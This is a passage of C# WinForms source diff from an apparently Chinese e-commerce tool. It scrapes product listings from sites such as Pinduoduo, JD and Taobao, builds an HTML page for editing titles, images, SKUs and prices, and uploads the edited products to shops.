BaseAddPrice = i; + } + private void txtDiscount_TextChanged(object sender, EventArgs e) + { + decimal i; + if (CheckInt(txtDiscount, out i)) + discount = i; + } + + /// + /// 检查是否输入数字 + /// + /// + /// + /// + public bool CheckInt(TextBox box, out decimal d) + { + if (decimal.TryParse(box.Text, out d)) + return true; + BaseMsgForm.ShowInfo("请输入数字", "提示"); + box.Focus(); + return false; + } + + bool CheckSubmit(out FissionDataModel fissionDataModel, out ProductCollectBase pcb) + { + fissionDataModel = new FissionDataModel(); + pcb = new ProductCollectBase(); + + if (string.IsNullOrEmpty(txtTitle.Text.Trim())) + { + BaseMsgForm.ShowInfo("标题不可为空!"); + return false; + } + // 折扣范围:20-90 + if (checkBoxX1.Checked && (discount < 20 || discount > 90)) + { + BaseMsgForm.ShowInfo("折扣超限了,折扣范围:20-90"); + txtDiscount.Focus(); + return false; + } + // 获取商品主图list + List mainImages = GetMainImages(); + if (mainImages == null || mainImages.Count == 0) + { + BaseMsgForm.ShowInfo("主图不可为空!"); + return false; + } + // 获取商品详情图list + List contentImages = GetContent(); + if (contentImages == null || contentImages.Count == 0) + { + BaseMsgForm.ShowInfo("内容图不可为空!"); + return false; + } + fissionDataModel.id = detailDataPcb.from_id.ToString(); + fissionDataModel.fession_id = detailDataPcb.from_id.ToString(); + fissionDataModel.sales = detailDataPcb.saleCount.ToString(); + fissionDataModel.price = priceLabel.Text; + fissionDataModel.fessionTitle = txtTitle.Text.Trim().Split(new string[] { ";", "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + fissionDataModel.fessionCount = "1"; + fissionDataModel.mainWord = ""; + fissionDataModel.viceWord = ""; + fissionDataModel.teamGroup = cmbShopFlag.SelectedValue == null ? "" : cmbShopFlag.SelectedValue.ToString(); + fissionDataModel.source = sourceLabel.Text; + fissionDataModel.postFree = detailDataPcb.express_price.ToString(); + fissionDataModel.title = string.IsNullOrEmpty(detailDataPcb.from_title) ? detailDataPcb.name : detailDataPcb.from_title; + fissionDataModel.cate_id = detailDataPcb.cat_id; + fissionDataModel.secondCategory = lblCategory.Text.Split('>').LastOrDefault(); + fissionDataModel.main_cate_id = detailDataPcb.main_cid; + fissionDataModel.mainCategory = lblCategory.Text.Split('>').FirstOrDefault(); + fissionDataModel.fullCategoryName = lblCategory.Text; + var catList = fissionDataModel.fullCategoryName.Split(new string[] { ">>" }, StringSplitOptions.RemoveEmptyEntries); + if (catList.Count() >= 2) + fissionDataModel.cat2_name = catList[1]; + if (catList.Count() >= 3) + fissionDataModel.cat3_name = catList[2]; + fissionDataModel.adjustPrice = checkBoxX1.Checked ? 1 : 0; // 是否调节价格 + fissionDataModel.addPricePercent = (RandAddPriceBegin - 1) * 100; // 加价倍数 + fissionDataModel.baseAddPrice = BaseAddPrice; // 基础加价 + fissionDataModel.discount = discount; // 折扣比例 + // 获取自定义属性保存到fissionDataModel + sCustomPropList = GetCustomProp(); + foreach (var pr in sCustomPropList) + { + var kv = detailDataPcb.Prop.FirstOrDefault(p => p.Key == pr.Key); + if (kv != null) + kv.Value = pr.Value; + else + detailDataPcb.Prop.Add(pr); + } + // 暂时属性/资质类编辑只针对食品饮料类目开放,删除非食品饮料类目"品牌编号"属性 + if (!foodCate1Names.Any(f => this.lblCategory.Text.StartsWith(f))) + detailDataPcb.Prop.RemoveAll(p => p.Key == "品牌编号"); + fissionDataModel.prop = JsonHelper.SerializeObject(detailDataPcb.Prop); // 商品属性 + fissionDataModel.props = JsonHelper.SerializeObject(GetSkus()); // sku属性 + fissionDataModel.skus = JsonHelper.SerializeObject(detailDataPcb.SkuMaps); // sku + fissionDataModel.main_pic = mainImages; + fissionDataModel.content_pic = contentImages; + fissionDataModel.from_shop_name = detailDataPcb.from_shop_name; + // 获取资质文件保存到fissionDataModel + sQulityFileList = GetQualities(); + fissionDataModel.qualifications = JsonHelper.SerializeObject(sQulityFileList); + // 转换为Pcb + pcb = FissionDataModel2Pcb(fissionDataModel); + return true; + } + private void updateBtn_Click(object sender, EventArgs e) + { + FissionDataModel fessionDataModel = null; + ProductCollectBase pcb = null; + if (CheckSubmit(out fessionDataModel, out pcb)) + { + UploadProductForm.ImportFromFission(new List() { pcb }); + + #region UpdateUI + dataGridView1.SelectedRows[0].Cells["status"].Value = "提交上传处理成功"; + //提交上传处理成功 则需要移除当前行,并更新txt,焦点移到下一行 + string goodsId = dataGridView1.SelectedRows[0].Cells["colProductId"].Value.ToString(); + if (!string.IsNullOrEmpty(goodsId)) + _listUrlTemp.Remove(goodsId); + int index = dataGridView1.SelectedRows[0].Index; //记录需要移除的是哪一行 + ExecuteProductPrevOrAfter(false); //焦点到下一行 + dataGridView1.Rows.RemoveAt(index); //移除 + Task.Factory.StartNew(() => writeTxt(_listUrlTemp)); //开个单独线程来对txt 写值 + #endregion + } + } + + /// + /// 将集合写到文件 + /// + private void writeTxt(List _urlList) + { + try + { + lock (ob) + { + if (_urlList.Count <= 0) + { + FileBase.Delete(path); + return; + } + // 保存到临时文件 + using (StreamWriter st = new StreamWriter(new FileStream(path, FileMode.Create))) + { + foreach (string str in _urlList) + { + st.WriteLine(str.Trim('\r', '\n')); + } + } + } + } + catch (Exception ex) + { + + } + } + + /// + /// 判断产品数据库里是否已经有此数据 + /// + private bool CheckIsExistProduct(string productId) + { + if (string.IsNullOrEmpty(productId)) + return false; + + string requestData = UserLogin.GetSignaturex() + "&fession_id=" + GetHtml.UrlEncodeUtf8(productId); + string url = BaseClass.BuildFissionObjString("fession_api&act=check_fession"); + string result = GetHtml.PostUtf8(url, requestData); // {\"code\":1,\"msg\":\"already exists!\"} + if (result != null && result.Contains("\"code\":1")) + return true; + return false; + } + + private void addToDBBtn_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(lblCategory.Text)) + { + DialogResult dr = BaseMsgForm.ShowConfirm("分类为空,是否确定上传入库?", "提示").DialogResult; + if (dr != DialogResult.OK) + return; + } + + updateBtn.Enabled = false;//“提交上传”不可用 + addToDBBtn.Enabled = false;//“添加入库”不可用 + FissionDataModel fissionDataModel = null; + ProductCollectBase pcb = null; + bool bo = CheckSubmit(out fissionDataModel, out pcb); + if (!bo) + return; + + Task.Run(() => + { + if (CheckIsExistProduct(detailDataPcb?.from_id.ToString())) + { + var d = BaseMsgForm.ShowConfirm("数据已存在,是否覆盖?", "提示", FormLevel.MEDIUM, true); + DialogResult dr = d.DialogResult; + + if (dr != DialogResult.OK) + { + Invoke(new Action(() => + { + updateBtn.Enabled = true; + addToDBBtn.Enabled = true; + })); + return; + } + } + + if (bo) + { + string str = JsonHelper.SerializeObject(fissionDataModel); + string typeStr = "'update'"; + string jsCode = "send_html_data_local(" + str + ", " + typeStr + ")"; + + Task t = browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + t.Wait(30000); + var response = t.Result; + if (response?.Result?.ParseToBool() != true) + { + t = browser.GetMainFrame().EvaluateScriptAsync(jsCode, null); + t.Wait(30000); + } + if (response?.Result?.ParseToBool() == true) + { + if (FissionDataBaseForm.Instance != null) + { + FissionDataBaseForm.Instance.UpdateFissionData(fissionDataModel); + } + } + Thread.Sleep(1000); + + Invoke(new Action(() => + { + var row = dataGridView1.Rows.Cast().FirstOrDefault(r => r.Cells["colProductId"].Value?.ToString().Contains(pcb.from_id.ToString()) == true); + if (row != null) + { + if (response?.Result?.ParseToBool() == true) + { + row.Cells["status"].Value = "保存入库处理成功"; + // 提交上传处理成功 移除当前行,焦点移到下一行,并更新txt + string productId = row.Cells["colProductId"].Value.ToString(); + if (!string.IsNullOrEmpty(productId)) + _listUrlTemp.Remove(productId); + ExecuteProductPrevOrAfter(false); // 焦点到下一行 + dataGridView1.Rows.Remove(row); // 移除 + Task.Factory.StartNew(() => writeTxt(_listUrlTemp)); // 开个单独线程来对txt 写值 + + } + else + { + row.Cells["status"].Value = "保存入库处理失败,请重试"; + + updateBtn.Enabled = true; + addToDBBtn.Enabled = true; + } + } + })); + } + }); + } + + private void dataGridView1_RowsAdded(object sender, DataGridViewRowsAddedEventArgs e) + { + if (dataGridView1.SelectedRows.Count == 0) + { + if (dataGridView1.CurrentCell == null) + { + dataGridView1.Rows[0].Selected = true; + } + else + { + dataGridView1.CurrentCell.Selected = true; + } + } + } + + private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + var column = dataGridView1.Columns[e.ColumnIndex]; + var row = dataGridView1.Rows[e.RowIndex]; + var productUrl = row.Cells["colProductId"].Value.ToString(); + var dbId = row.Cells["colDbId"].Value.ToString(); + + //点击商品网址打开商品网页 + if (column.Name == "colProductId") + { + row.Selected = true; + System.Diagnostics.Process.Start(productUrl); + } + //点击删除执行从列表中去除当前商品 + else if (column.Name == "colRemove") + { + row.Selected = true; + //移除当前行,并更新txt,焦点移到下一行 + if (!string.IsNullOrEmpty(productUrl)) + { + _listUrlTemp.Remove(productUrl); + } + int index = e.RowIndex;//记录需要移除的是哪一行 + if (e.RowIndex != dataGridView1.Rows.Count - 1) + { + ExecuteProductPrevOrAfter(false);//焦点到下一行 + } + dataGridView1.Rows.RemoveAt(index);//移除 + + Task.Factory.StartNew(() => writeTxt(_listUrlTemp)); //开个单独线程来对txt 写值 + } + // 从数据库中删除数据 + else if (column.Name == "colDelete") + { + if (BaseMsgForm.ShowConfirm("是否确认删除此数据?").DialogResult.Equals(DialogResult.Cancel)) return; + + // 根据上家标题,原始Id删除数据库数据 + new FissionDataBaseBLL().DelFessionData(dbId); + + row.Selected = true; + //移除当前行,并更新txt,焦点移到下一行 + if (!string.IsNullOrEmpty(productUrl)) + { + _listUrlTemp.Remove(productUrl); + } + int index = e.RowIndex;//记录需要移除的是哪一行 + if (e.RowIndex != dataGridView1.Rows.Count - 1) + { + ExecuteProductPrevOrAfter(false);//焦点到下一行 + } + dataGridView1.Rows.RemoveAt(index);//移除 + + Task.Factory.StartNew(() => writeTxt(_listUrlTemp));//开个单独线程来对txt 写值 + } + } + + private void dataGridView1_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.RowIndex < 0 || e.ColumnIndex < 0 || e.ColumnIndex == 1 || e.ColumnIndex == 4) return; + + dataGridView1.Rows[e.RowIndex].Selected = true; + if (dataGridView1.Rows[e.RowIndex].Cells[0].Value == null) + { + return; + } + CollectProductInfoAndShowBrowser(e.RowIndex); + } + + /// + /// 根据商品详情ProductCollectBase判断数据库商品缓存列表中是否已有此商品,如有则返回该商品。 + /// 如果没有则检测数据库内是否有,若数据库有,显示提示信息。 + /// + /// + /// + private ProductCollectBase GetDataBaseProductPcb(ProductCollectBase pcb) + { + var finalFissionData = _lstDataBaseProductFissData?.FirstOrDefault(f => f.fession_id == pcb?.from_id.ToString()); + if (finalFissionData != null) // 列表中已有此数据,说明是批量编辑而非新增的数据净化 + { + try + { + if (string.IsNullOrEmpty(finalFissionData.main_pic)) + { + var fissionTemp = new FissionDataBaseBLL().GetFessionDetailById(finalFissionData.id.ParseToInt()); + finalFissionData.fession_title = fissionTemp.fession_title; + finalFissionData.container_info = fissionTemp.container_info?.Replace("'>", "'>"); + finalFissionData.main_pic = fissionTemp.main_pic; + finalFissionData.prop_pic = fissionTemp.prop_pic; + finalFissionData.props = fissionTemp.props; + finalFissionData.mainWord = fissionTemp.mainWord; + finalFissionData.viceword = fissionTemp.viceword; + finalFissionData.prop = fissionTemp.prop; + finalFissionData.skus = fissionTemp.skus; + finalFissionData.from_shop_name = fissionTemp.from_shop_name; + finalFissionData.qualifications = fissionTemp.qualifications; + } + } + catch (Exception ex) + { + LogSave.Add("获取裂变明细信息发生异常" + ex.Message); + } + if (!string.IsNullOrEmpty(finalFissionData.fession_title)) + return FissionDataBaseForm.FissionData2Pcb(finalFissionData, finalFissionData.fession_title); + } + return null; + } + + private void GetIsExistProduct() + { + Task.Run(() => + { + while (this.WindowState == FormWindowState.Minimized) + { + Thread.Sleep(100); + } + + var finalFissionData = _lstDataBaseProductFissData?.FirstOrDefault(f => f.fession_id == detailDataPcb?.from_id.ToString()); + if (finalFissionData == null) + { + if (CheckIsExistProduct(detailDataPcb?.from_id.ToString())) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("数据库已存在该商品!"); + })); + } + } + }); + } + + /// + /// 点击上一条下一条或者列表选择商品时,跳转到商品并更新页面 + /// + /// + /// 是否强制访问来源商品(如选择false,则进行产品数据库数据审核时会优先加载产品数据库界面传递过来的数据库商品以供审核) + private void CollectProductInfoAndShowBrowser(int rowIndex, bool IsForceGetOriginal = false) + { + SourceTitlelabel.Text = importURLtextBox.Text = lblCategory.Text = txtTitle.Text = ""; + if (browser != null) + browser.Load("about:blank"); + + CurrentPositiontextBox.Text = dataGridView1.Rows[rowIndex].Cells[0].Value.ToString(); + ProductCollectBase proInfoPcb = new ProductCollectBase(); + if (dataGridView1.Rows[rowIndex].Cells["colProductId"].Value == null) + { + BaseMsgForm.ShowInfo("无效网址。"); + return; + } + + proInfoPcb.from_url = dataGridView1.Rows[rowIndex].Cells["colProductId"].Value.ToString().Trim(); + proInfoPcb.from_id = GetIdFromURLByRegex(proInfoPcb.from_url); + if (proInfoPcb.from_id.Equals(0)) + { + BaseMsgForm.ShowInfo("无效网址!"); + return; + } + + //先判断是否存在page.html临时文件,存在就先删除。 + if (File.Exists(sFissionPage)) + { + File.Delete(sFissionPage); + } + + ProductCollectBase finalProductInfo = new ProductCollectBase(); + pbLoading.Visible = true; + pbLoading.BringToFront(); + pnlShowOriginal.Visible = false; + currentRowIndex = rowIndex; + + Task.Factory.StartNew(() => + { + ProductCollectBase pcbTemp = null; + if (!IsForceGetOriginal) + { + pcbTemp = GetDataBaseProductPcb(proInfoPcb); + } + + if (pcbTemp != null) + { + finalProductInfo = pcbTemp; + Invoke(new Action(() => + { + pnlShowOriginal.Visible = true; + })); + } + else if (proInfoPcb.from_url.Contains(@"yangkeduo.com")) + { + int retryTime = 0; + TaobaoProductBase tp = new TaobaoProductBase(); + tp.FromId = GetIdFromURLByRegex(proInfoPcb.from_url); + tp.FromType = "拼多多"; + tp.GoodsId = tp.FromId; + + Retry: + PinduoduoProductCollect pdd = new PinduoduoProductCollect(Name, tp); + PinduoduoProductCollect.TempIds.Clear(); + pdd.IsUseProxy = GlobalConfig.FissionSettingParam.IsUseProxyIp; + pdd.Get(); + + if (GlobalConfig.FissionSettingParam.IsUseProxyIp && pdd.IsOverdue) + { + BaseMsgForm.ShowInfo("代理ip套餐已过期", "提示"); + } + bool isResourceEnable = true; + if (GlobalConfig.FissionSettingParam.IsUseResourcePack) + { + //Func canContinue = PinDuoDuoHelperTemp.CanContinueCollectFunc((token) => { return token.ProductDetailStatus == TokenStatus.Valid; }, null, GlobalConfig.FissionSettingParam.IsUseResourcePack, null); + //if (!canContinue()) + //{ + // isResourceEnable = false; + // BaseMsgForm.ShowInfo("资源包打码不可用!", "提示"); + //} + } + if (pdd.IsAdvance == true || pdd.pb?.IsPreSale == true) + { + BaseMsgForm.ShowInfo("预售商品不能净化!", "提示"); + } + if (pdd.IsNoToken) + { + if (GlobalConfig.FissionSettingParam.IsUseResourcePack && isResourceEnable == true && retryTime < 2) + { + retryTime++; + goto Retry; + } + else + BaseMsgForm.ShowInfo("请先登录拼多多或输入Token!", "提示"); + } + proInfoPcb = pdd.pb; + //GetCatIdForPdd(proInfo); + proInfoPcb.from_url = proInfoPcb.from_url.Contains(@"mobile.yangkeduo.com") + ? "http://mobile.yangkeduo.com/goods.html?goods_id=" + tp.GoodsId + : "http://yangkeduo.com/goods.html?goods_id=" + tp.GoodsId; + finalProductInfo = proInfoPcb; + } + else if (proInfoPcb.from_url.Contains("detail.1688.com")) + { + AlibabaProductGet alibbProInfo = new AlibabaProductGet(proInfoPcb); + alibbProInfo.Get(); + //GetCatIdForPdd(proInfo); + finalProductInfo = alibbProInfo.Product; + } + else if (proInfoPcb.from_url.Contains("jinritemai.com")) + { + CollectDoyin cd = new CollectDoyin(proInfoPcb); + cd.GetProduct(); + cd.Product.from = "抖音"; + cd.Product.from_url = "https://haohuo.jinritemai.com/views/product/detail?id" + cd.Product.from_id; + finalProductInfo = cd.Product; + + if (cd.Product?.IsOnSale != true) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("获取失败,商品已下架"); + })); + } + } + else if (proInfoPcb.from_url.Contains("jd.com")) + { + bool isPassVerify = false; + retry: + proInfoPcb.from_url = "https://item.m.jd.com/product/" + proInfoPcb.from_id + ".html"; + JingXiCollect tm = new JingXiCollect(proInfoPcb); + tm.IsUseProxy = GlobalConfig.FissionSettingParam.IsUseProxyIp; + tm.Get(); + if (!string.IsNullOrEmpty(JingXiCollect.VerifyCodeUrl)) + { + if (!isPassVerify && JingXiCollect.VerifyCodeUrl.Contains("wqs.jd.com/item/spider_check.shtml"))//京喜采集验证码校验 by ttzhao 2020.6.29 + { + JingXiVerify(JingXiCollect.VerifyCodeUrl); + if (string.IsNullOrEmpty(JingXiCollect.VerifyCodeUrl)) + { + isPassVerify = true; + goto retry; + } + } + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("获取失败,京东商品采集需要验证"); + })); + } + else if ((tm.Product != null && tm.Product.Images.Count == 0) || tm.IsOnSale == false) + { + Invoke(new Action(() => + { + BaseMsgForm.ShowInfo("获取失败,商品不存在或不可展示"); + })); + } + else + finalProductInfo = tm.Product; + } + else + { + TaobaoMobileCollect goodsFormInfo = new TaobaoMobileCollect(proInfoPcb); + goodsFormInfo.Get(); + finalProductInfo = goodsFormInfo.Product; + } + }).ContinueWith(t => + { + //调用php后台 + _url = Fission.creatFissionPage(finalProductInfo); + MethodInvoker mi = () => + { + InitBrowser(); + InitGoodsDetail(finalProductInfo); + pbLoading.Visible = false; + }; + BeginInvoke(mi); + detailDataPcb = finalProductInfo; + + // 检查数据库是否已有此商品 + GetIsExistProduct(); + }); + } + + /// + /// 京喜采集,需要收入验证码验证 + /// + /// + public static void JingXiVerify(string url) + { + CollectVerifyForm f = new CollectVerifyForm(); + f.url = url; + f.ShowDialog(); + } + + private void lblCategory_TextChanged(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(this.lblCategory.Text) && this.lblCategory.Text != "请登录店铺!") + { + this.updateBtn.Enabled = true; + this.addToDBBtn.Enabled = true; + } + //Task.Run(() => + //{ + GetPropAndQualification(); + //}); + } + + private void checkBoxX1_CheckedChanged(object sender, EventArgs e) + { + if (checkBoxX1.Checked) + { + this.baseAddPriceTextBoxX.Enabled = true; + this.randAddPercentTextBoxX.Enabled = true; + this.txtDiscount.Enabled = true; + RandAddPriceBegin = this.randAddPercentTextBoxX.Text.ParseToDecimal(); + BaseAddPrice = this.baseAddPriceTextBoxX.Text.ParseToDecimal(); + discount = this.txtDiscount.Text.Trim().ParseToDecimal(); + } + else + { + this.baseAddPriceTextBoxX.Enabled = false; + this.randAddPercentTextBoxX.Enabled = false; + this.txtDiscount.Enabled = false; + } + } + + private void SourceTitlelabel_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (string.IsNullOrEmpty(lblFromUrl.Text)) + { + return; + } + System.Diagnostics.Process.Start(lblFromUrl.Text); + } + + private void importURLtextBox_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(importURLtextBox.Text)) + { + return; + } + System.Diagnostics.Process.Start(importURLtextBox.Text); + } + + /// + /// 调用PHP后台,生成分词页面page.html。得到page.html页面后,在页面内添加主图上传及php服务器的图片跨域修改功能。 + /// + /// + /// 返回本地保存的页面路径 + public static string creatFissionPage(ProductCollectBase finalProductInfo) + { + if (finalProductInfo == null || finalProductInfo.from_id == 0) + { + return sFissionPage; + } + // 先判断此商品是否在违规库中 + string requestData = UserLogin.GetSignaturex() + "&act=check_goods&product_id=" + finalProductInfo.from_id; + string url = BaseClass.BuildFissionObjString("fession"); + string sRes = GetHtml.PostUtf8(url, requestData);//1-违规,0-正常 + if (sRes.Equals("1")) + { + File.WriteAllText(sFissionPage, "
此商品云端检测为违规商品!不建议净化!"); + return sFissionPage; + } + + // 生成净化数据HTML + string htmlData = CreateFissionHtml(finalProductInfo); + + File.WriteAllText(sFissionPage, htmlData); + return sFissionPage; + } + + /// + /// 生成净化数据HTML + /// + /// 商品数据 + /// + private static string CreateFissionHtml(ProductCollectBase finalProductInfo) + { + string htmlData = Properties.Resources.template.ToString(); + + string title = finalProductInfo.from_title; + if (string.IsNullOrEmpty(title) && finalProductInfo.from_url.Contains("yangkeduo.com")) + { + title = finalProductInfo.name; + } + htmlData = htmlData.Replace("{Title}", "原标题:" + title); + + int imgCount = 0; + //插入主图 + StringBuilder sReplace = new StringBuilder(); + for (int i = 0; i < finalProductInfo.Images.Count; i++) + { + sReplace.AppendLine( + "
  • \r\n" + + " \r\n" + + " 修图\r\n" + + " 拉回\r\n" + + " 编辑\r\n" + + " 删\r\n" + + "
  • \r\n"); + imgCount++; + } + htmlData = htmlData.Replace("{MainImage}", sReplace.ToString()); + + // 显示商品属性 + string propStr = "\r\n"; + for (int i = 0; i < finalProductInfo.Prop.Count; i += 3) + { + if (i % 3 == 0) + propStr += "
    \r\n"; + + for (int j = 0; j < 3; j++) + { + if (i + j >= finalProductInfo.Prop.Count) + break; + + var pr = finalProductInfo.Prop[i + j]; + var prValue = pr.Key + ":" + pr.Value; + propStr += "" + prValue + "\r\n"; + } + + if (i % 3 == 0) + propStr += "
    \r\n"; + } + htmlData = htmlData.Replace("{ProductProp}", propStr); + + // 插入SKU属性图,无图片的也显示文字,以便后续删除 + string skuStr = "\r\n"; + foreach (var prop in finalProductInfo.Props) + { + var propGroupNew = new PropBase() + { + id = prop.id, + name = prop.name, + pinduoduo_id = prop.pinduoduo_id, + pinduoduo_name = prop.pinduoduo_name, + sort = prop.sort + }; + skuStr += "
    属性分组 - " + prop.name + + "
    propstart-" + JsonHelper.SerializeObject(propGroupNew) + "-propstartend
    " + // hidden + "
    "; + skuStr += "
      \r\n"; + foreach (var propValue in prop.Values) + { + string imgUrl = AppDomain.CurrentDomain.BaseDirectory + "static\\img\\nopic.jpg"; + if (propValue.image != null && propValue.image != "") + imgUrl = propValue.image; + + skuStr += "
    • "; + skuStr += "
      propvaluestart-" + JsonHelper.SerializeObject(propValue) + "-propvaluestartend
      "; + // 有sku图片 + if (!imgUrl.EndsWith("\\static\\img\\nopic.jpg")) + { + skuStr += ""; + skuStr += ""; + skuStr += ""; + // 编辑、修图、拉回、转主 + skuStr += "编辑" + + "修图" + + "拉回" + + "转主"; + } + else + { + skuStr += "" + + ""; + } + skuStr += "" + propValue.name + ""; + skuStr += "删
    • \r\n"; + skuStr += ""; + imgCount++; + } + skuStr += "
    \r\n"; + skuStr += ""; + skuStr += "
    \r\n"; + } + htmlData = htmlData.Replace("{SkuProps}", skuStr); + + // 插入内容图 + string insertStr = ""; + string selectStr = ""; + string containerImgStr = finalProductInfo.content; + if (!string.IsNullOrEmpty(containerImgStr)) + { + var container_arr = containerImgStr.Split(new string[] { "new_group" }, StringSplitOptions.RemoveEmptyEntries); + int i = 0; + foreach (var strTemp in container_arr) + { + i++; + Regex reg = new Regex(@" 0) + { + var id = Randomx.GetId(10000000, 99999999); + var contentGroupId = "content_group" + id; + var contentSelectId = "content_select" + id; + selectStr += "详情" + i + ""; + insertStr += "
      "; + foreach (Match imgMatch in imgMatches) + { + string imgUrl = imgMatch.Groups[2].Value; + if (!string.IsNullOrEmpty(imgUrl)) + { + if (!imgUrl.StartsWith("https:")) + imgUrl = "https:" + imgUrl; + + insertStr += "
    • " + + "" + + "编辑" + + "修图" + + "拉回" + + "转主" + + "删"; + imgCount++; + } + } + insertStr += "
    "; + } + } + } + htmlData = htmlData.Replace("{ContentImage}", insertStr); + htmlData = htmlData.Replace("{ContentSelect}", selectStr); + + // 更改样式 + var cssStr = Properties.Resources._base.ToString(); + string cssPath = System.IO.Directory.GetCurrentDirectory() + @"\static\css"; + if (!Directory.Exists(cssPath)) + Directory.CreateDirectory(cssPath); + File.WriteAllText(cssPath + @"\base.css", cssStr); + htmlData = htmlData.Replace("{CssPath}", cssPath + @"\base.css"); + + // 添加拖动图片的js + var jsDragStr = Properties.Resources.jquery_dad_min.ToString(); + string jsDragPath = System.IO.Directory.GetCurrentDirectory() + @"\static\js"; + if (!Directory.Exists(jsDragPath)) + Directory.CreateDirectory(jsDragPath); + File.WriteAllText(jsDragPath + @"\jquery.dad.min.js", jsDragStr); + htmlData = htmlData.Replace("{JsDragPath}", jsDragPath + @"\jquery.dad.min.js"); + + // 设置无图默认图片 + var imgNoPic = Properties.Resources.nopic; + string imgPath = System.IO.Directory.GetCurrentDirectory() + @"\static\img"; + if (!Directory.Exists(imgPath)) + Directory.CreateDirectory(imgPath); + imgNoPic.Save(imgPath + @"\nopic.jpg"); + return htmlData; + } + + //public string MeituPath = "C:\\Program Files (x86)\\Meitu\\XiuXiu\\XiuXiu.exe"; + public string MeituPath = ""; + + /// + /// 设置美图秀秀或其他修图软件的位置 + /// + public void setMeituPath() + { + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); + openFileDialog.Filter = "美图秀秀|*.exe"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + + openFileDialog.ValidateNames = true; + openFileDialog.CheckPathExists = true; + openFileDialog.CheckFileExists = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + var fileName = openFileDialog.FileName; + + if (!File.Exists(fileName)) + BaseMsgForm.ShowInfo("指定的文件无效!"); + else + { + MeituPath = fileName; + saveMeiTuPath(); + } + } + } + + public void saveMeiTuPath() + { + string path = System.IO.Directory.GetCurrentDirectory() + @"\xiuxiu.ini"; + FileBase.WriteAllText(path, MeituPath); + } + + public void GetMeiTuPath() + { + string fileName = System.IO.Directory.GetCurrentDirectory() + @"\xiuxiu.ini"; + if (File.Exists(fileName)) + { + MeituPath = FileBase.ReadAllText(fileName); + } + } + + private void buttonMeituPath_Click(object sender, EventArgs e) + { + if (MeituMessageDialog.ShowMessageDialog("请指定美图秀秀启动文件。\r\n如未安装美图秀秀,请下载。", "下载美图秀秀,指定启动文件") == "指定启动文件") + { + //// 单线程单元(STA)模式运行文件对话框,否则会报错。 + //System.Threading.Thread InvokeThread = new System.Threading.Thread(new System.Threading.ThreadStart(setMeituPath)); + //InvokeThread.SetApartmentState(System.Threading.ApartmentState.STA); + //InvokeThread.Start(); + //InvokeThread.Join(); + + this.setMeituPath(); + } + } + + private void pbPaste_Click(object sender, EventArgs e) + { + BaseClass.SetClipboard(SourceTitlelabel.Text.Trim()); + } + + private void lklbChangeCatId_Click(object sender, EventArgs e) + { + CatForm form = new CatForm(detailDataPcb); + form.frmFission = this; + form.ShowDialog(); + } + + public void ReloadShop() + { + cboxShop.Items.Clear(); + + foreach (var shop in GlobalConfig.DouShopLoginList) + { + cboxShop.Items.Add(shop.ShopAccount); + } + if (cboxShop.Items.Count > 0) + cboxShop.SelectedIndex = 0; + } + + private void cboxShop_SelectedIndexChanged(object sender, EventArgs e) + { + cboxCat1.Items.Clear(); + cboxCat2.Items.Clear();//有的店铺没有一级、二级、三级类目,所以,更改店铺前要把一二三级类目全部清空 by ttzhao 2020.10.13 + cboxCat3.Items.Clear();//有的店铺没有一级、二级、三级类目,所以,更改店铺前要把一二三级类目全部清空 by ttzhao 2020.10.13 + dicNameCate.Clear(); + string shopname = cboxShop.Text; + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(x => x.ShopAccount == shopname); + if (shop == null || shop.LstShopCategory == null) + { + return; + } + + foreach (var cateId in shop.LstShopCategory) + { + var cate = GoodsCategories.FirstOrDefault(c => c.id == cateId); + if (cate == null) + continue; + + dicNameCate[cate.name + cate.level] = cate; + + if (cate.level == 1) + { + if (!cboxCat1.Items.Contains(cate.name)) + { + cboxCat1.Items.Add(cate.name); + } + } + } + if (cboxCat1.Items.Count > 0) + cboxCat1.SelectedIndex = 0; + } + + private void cboxCat1_SelectedIndexChanged(object sender, EventArgs e) + { + cboxCat2.Items.Clear(); + var cat = dicNameCate[cboxCat1.SelectedItem.ToString() + "1"]; + var cateList = dicNameCate.Values.Where(c => c.parent_id == cat.id).ToList(); + foreach (var item in cateList) + { + cboxCat2.Items.Add(item.name); + } + if (cboxCat2.Items.Count > 0) + cboxCat2.SelectedIndex = 0; + } + + private void cboxCat2_SelectedIndexChanged(object sender, EventArgs e) + { + cboxCat3.Items.Clear(); + var cat = dicNameCate[cboxCat2.SelectedItem.ToString() + "2"]; + var cateList = dicNameCate.Values.Where(c => c.parent_id == cat.id).ToList(); + foreach (var item in cateList) + { + cboxCat3.Items.Add(item.name); + } + if (cboxCat3.Items.Count > 0) + cboxCat3.SelectedIndex = 0; + } + + private void lblShop_Click(object sender, EventArgs e) + { + this.ReloadShop(); + } + + public static FissionShowBigImgForm sbi = null; + public string ShowBigImg(string src, string imgId) + { + src = Fission.RemovePrefix(src); + + Invoke(new Action(() => + { + if (sbi == null || !sbi.Created) + { + sbi = new FissionShowBigImgForm("http://" + src, imgId); + sbi.StartPosition = FormStartPosition.CenterScreen; + sbi.TopMost = true; + sbi.Show(); + sbi.TopMost = false; + } + else + { + sbi.imgId = imgId; + sbi.imgUrl = "http://" + src; + sbi.ShowImg(); + } + })); + return "ok"; + } + + private void btnSaveShopFlag_Click(object sender, EventArgs e) + { + var shopFlag = txtNewShopFlag.Text.Trim(); + if (string.IsNullOrEmpty(shopFlag)) + { + return; + } + foreach (string item in (List)cmbShopFlag.DataSource) + { + if (item == shopFlag) + { + BaseMsgForm.ShowInfo("该标记已经存在。"); + return; + } + } + //保存分组 + string requestData = UserLogin.GetSignaturex() + "&act=add&data=" + GetHtml.UrlEncodeUtf8(shopFlag); + string url = 